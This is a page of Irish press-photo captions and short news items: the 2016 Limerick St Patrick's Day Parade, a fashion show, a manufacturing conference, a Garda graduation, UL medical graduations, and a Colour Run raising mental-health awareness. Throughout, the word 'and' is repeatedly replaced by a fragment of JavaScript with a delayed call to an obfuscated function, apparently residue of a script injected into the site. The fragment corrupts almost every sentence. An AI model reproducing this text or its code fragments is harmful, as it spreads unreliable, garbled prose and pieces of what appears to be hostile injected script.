Limerick St Patrick’s Day Parade

 

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80,000 people line Limerick streets for St. Patrick’s Day Parade

 

More than 80,000 spectators soaked up the spring sunshine andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and carnival atmosphere of Irelandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and’s largest regional St. Patrick’s Day Parade in Limerick City today (Thursday, 17 March 2016).

 

Parade Grandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Marshal, local actor Myles Breen, led more than 4,000 participants from 100 different community groups, companies, bandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ands andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and sports clubs from across Limerick andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Irelandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and for the parade which is organised by Grooveyard Productions on behalf of Limerick City andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and County Council andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Limerick 2020. This year’s theme was ‘Commemorate’ celebrating Limerick’s legacy, its people andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and its places.

 

Among the participants in this year’s Parade were pop duo Jedward andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Fidget Feet Ariel Dance Company which performed a crane show over the city centre streets.

 

Meanwhile, street arts company Spraoí brought their spectacular Stag Show to Limerick’s main thoroughfares, Artastic andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Spotlight Dance School provided a show-stopping spectacle, andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and The Workhouse Studio thrilled the crowds with their giant puppet andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and a host of colourful costumes. Other parade participants included The Fanzini Brothers, Danger Boy, Outside the Box, Flying Wheels, Clown Noir andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Passepartout along with a wide range of local performance groups.

“Great credit is due to the organisers, including Creative Director Aidan Phelan, andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and participants of this year’s parade which is one of the largest ever hosted in the City,” said Cllr. Liam Galvin, Mayor of the City andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and County of Limerick.

 

“Today was all about celebrating the rich cultural heritage of Limerick City andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and County as well as Irelandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and’s National Day. This year’s Easter Rising Centenary has afforded all of us to reflect on this country’s achievements,” said the Mayor.

 

He continued, “Those who helped to create the Republic we know andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and cherish today would be proud of the vibrant, diverse andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and multicultural society we have become today as evidenced in the faces andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and celebratory mood of the many thousandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ands who lined the route of this year’s Limerick St. Patrick’s Day Parade.”

 

The Limerick St Patrick’s Festival continues this coming Sunday from 12 noon on Sunday when 1,200 musicians from 18 groups, including a 280-strong marching bandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and from the University of Missouri, take part in the 46th Limerick International Bandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Championship.

 

Irelandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and’s only international bandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and competition will see groups from the USA, Northern Irelandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and, Kerry, Limerick, Westmeath, Donegal, Dublin, Tipperary andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Cork parade from Pery Square andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and down O’Connell Street to Arthurs Quay.

 

Each bandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and will be afforded three minutes performance time in front of the review standom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and all the bandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ands will assemble for a jamboree in Arthurs Quay Park after they have performed.  This year’s adjudication panel features six internationally respected judges, including four from the United States.

 

At Arthurs Quay Park, the Championship prizes which this year includes the inaugural Kenneally Jewellers Perpetual Trophy for the ‘Overall Parade Champion’. The theme of this year’s Parade is ‘Commemorate’.

 

More details on the 2016 Limerick St. Patrick’s Festival can be found on www.limerick.ie/stpatricksfestival.     Limerick St Patricks parade13

LSAD Annual Fashion Show

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Limerick model Grace Connell wears a creation by Graduate Fashion Designer Michelle Doyle  ahead of the Limerick School of Art & Design LIT, (LSAD) annual fashion show taking place this evening (Thursday 21st May) where 28 graduates will showcase their creations. All will compete for the IFIL & AIB Graduate Business Development Award worth €5,000 which includes work experience with leading Irish Fashion Designer Danielle Romeril in London. The student who shows the most unique cut andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and technical creativity within their collection will win the LIT Award of €2,500 on the night while another graduate will win The ECCO award for the most innovative use of fabric andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and receive €2,000 to further their fashion career. Picture Credit Brian Gavin Press 22

 

 

Over 200 businesses meet in Galway for manufacturing IMDA IBEC conference

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Padhraic McGinn, GM, Nypro Healthcare,Director of the Irish Medical Devices Association, Dr Sinead Keogh & Donal Balfe, VP Medtronic & IMDA Chairman Pictured at the Major new opportunities in manufacturing as economy recovers – Ibec

Over 200 businesses meet in Galway for manufacturing conference

The Irish Medical Devices Association (IMDA), the Ibec groups that represent the medical technology sector, is today jointly hosting a major conference with other Ibec business sectors on ‘Manufacturing to win on the world stage’, with 200 companies across various manufacturing industries andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and policy makers attending, in the Radisson Blue, Galway.

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Passing Out Ceremony Templemore 22nd April, 2015.

Passing Out Ceremony Templemore 22nd April, 2015.

99 student Gardai (81 male andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and 18 female) graduated at Templemore Garda College today Thursday 23rd April 2015. Garda Graduations 04Garda Graduations 01 Garda Graduations 02 Garda Graduations 03

Leaving Cert Results Celebration


LP Leaving Certs 1Leaving certificate students from Colaiste FCJ in Limerick jump for joy with their results.  From left are Courtney McKeon, Clonmacken who received 465 point andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and wants to study English & History at UL; cFiona Grimes, Caherdavin who received 350 points andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and also hopes to do English & History at UL;  Aoife Kearney, Corbally who received 585 points andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and has her eye on Pharmacutical andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Industrail Chemistry at UL andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Niamh Irwin, Lisnagry with 520 points plans to do Arts at MIC.  Picture Liam Burke/Press 22

Irelandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and’s Newest Quads Welcomed Home to A year’s supply of Pampers Nappies

Irelandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and’s Newest Quads Welcomed Home to
A year’s supply of Pampers Nappies

Proud parents James andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Grace Slattery welcomed their precious baby quads home andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and they weren’t the only delivery to arrive safely at the Co. Limerick home. The Slattery’s will be keeping Amelia Helen, Mollie Rose, Lucas James andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Lily Grace May happy in their nappies with the unexpected gift of a much needed supply of 6,400 Pampers nappies.
Commenting on Pampers generous gift, James Slattery aka the quad-father said: “We are overwhelmed by the generosity andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and very grateful to the kind people at Pampers who were the first company in Irelandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and to reach out to us andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and offer their support. Grace andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and I are delighted that our precious bundles of joy will be wrapped up in Pampers for the first year of the babies lives.”
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University of Limerick, Graduate Entry Medical School Graduations.

The University of Limerick celebrated the graduation of 146 students today from the Graduate Entry Medical School (GEMS) andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Clinical Therapies Department. Among the graduates 94 doctors were conferred with their medical degrees as they became the fourth graduating class of the Graduate Entry Medical School at the University of Limerick. 52 Clinical Therapies graduandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ands received their awards – 26 from the MSc in Occupational Therapy andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and 26 from the BSc in Physiotherapy.

Established in 2007, the Graduate Entry Medical School Programme at UL is open to graduates from any discipline andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and employs practical andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and interactive approaches to learning.
Among the doctors who graduated at UL today are students with undergraduate degrees varying from zoology, anthropology to music andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and archaeology. The programme is also the only medical education programme in the country founded on the modern pedagogical principle of Problem Based Learning (PBL). PBL encourages team-working andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and self-directed enquiry, both skills being vital for their future careers in the fast moving world of medicine.

Speaking at the conferring ceremony Professor Don Barry, UL President, paid tribute to the Health Service Executive, “The support that we have received from the employees of the HSE andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and from its management staff at local, regional andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and national levels has been exceptional. Above all, UL is greatly indebted to the very large number of clinicians who have been instrumental in educating our students, by sharing their expertise andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and supporting our student’s professional growth. We are proud to be working with the HSE on a shared facility to be located on the University Hospital Limerick campus – a Clinical Education andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Research facility – which will enhance the delivery of our medical programme but also support the education services required by the University Hospital Limerick community. This is a significant andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and valuable partnership andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and I would like to thank Professor Niall O’Higgins, Chairman of the UL Hospitals Board for his role in this endeavour.
I also want to highlight the over 80 General Practices throughout the Munster region andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and well beyond who have embraced the Medical School andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and its students. The GEMS is unique, not only within Irelandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and but internationally, in terms of the emphasis that it places on clinical training in Primary Care settings. A full 25% of all such training at UL is provided in General Practice settings andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and this has already proved to be a major strength of our programme. This simply could not have happened without an exceptional level of ‘buy in’ from General Practitioners andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and for this, UL is hugely appreciative.”UL Med Grads 5 UL Medical Conferrings 07 UL Med Grads 7

Colour Run launch

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A Tipperary woman who has experienced severe depression andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and come out the other side is kick starting a campaign to encourage mental health discussion by organising what’s been dubbed ‘The Happiest 5k on the Planet’ near her home next month.
Ciara McCullough, from Ballinahinch, Tipperary, is hosting a Colour Run in her local village of Newport on Sunday May 25th when hundreds of runners will be doused from head to toe in paint to celebrate healthiness, happiness andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and individuality.
Less about your 10 minute mile andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and more about having the time of your life, The Colour Run is a five kilometre, un-timed race in which participants, or “Colour Runners”, are doused from head to toe in different colours at each kilometre. With only two rules, the idea is easy to follow:-Wear white at the starting line andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and finish plastered in colour!
The event is being organised by Ciara McCullough to spark open discussion of mental health andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and break the silence of stigma as part of the National Green Ribbon campaign.
“For people who have never experienced depression, there are no words imaginable to describe exactly what it does to you, but for people who are andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and who have experienced it, no words are needed,” Ciara explained. “It wore me down, mentally, physically andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and emotionally to a point where I didn’t know who I was. My recovery was a slow road of progression that didn’t happen overnight but now my life has never been better. I’m really excited about the Colour Run to raise awareness about Mental Health andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and raise funds for Pieta House, a suicide andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and self harm crisis centre that does tremendous work. “
She added: “More andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and more people need to start talking andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and learning about Mental Health. The more we talk about it, the less scary it becomes andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and people who are going through a mental health problem will feel much more comfortable in talking about their feelings.”
As well as the Colour Run in Newport, Co Tipperary at 3pm on Sunday, May 25th, there will also be free workshops from Laughter Yoga, to Reiki on the morning of the event, followed by live music from One Simple Work & Pat Wright with Acoustra to end a super positive day.
Ciara is actively involved in an organisation called See Change is an alliance of organisations working together through the National Stigma Reduction Partnership to bring about positive change in public attitudes andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and behaviour towards people with mental health problems. This May, See Change andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and its 90 partner organisations are rolling out a major national campaign to get people talking openly about mental health problems. Throughout May, which is Mental Health Awareness Month, 300,000 ribbons will be distributed nationwide free of charge andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and in conjunction with various community events with the aim of sparking a national conversation about mental health in Irelandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and’s boardrooms, break-rooms, chat rooms, clubhouses, arts venues, college campuses andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and around kitchen tables.
John Saunders, Director of See Change said; “Wearing the green ribbon during the month of May is a simple way of showing your support for the campaign andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and leaving the door open for a conversation about mental health. You don’t need to be an expert to start talking about mental health or have all the answers, sometimes the most helpful thing you can do is let someone know you are there for them andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and simply listen.”
Just like the pink ribbon became a powerful symbol for breast cancer awareness, this lime green ribbon has been established in North America as the international symbol for Mental Health awareness. The See Change partnership aims to make the month of May every year synonymous with challenging the stigma of mental health problems andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and lay groundwork for real andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and lasting change in Irish attitudes andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and behaviours to mental health.
Registration for the Newport Colour Run is 10Euro- online at www.eventbrite.ie or €15 on the day.
www.greenribbon.ie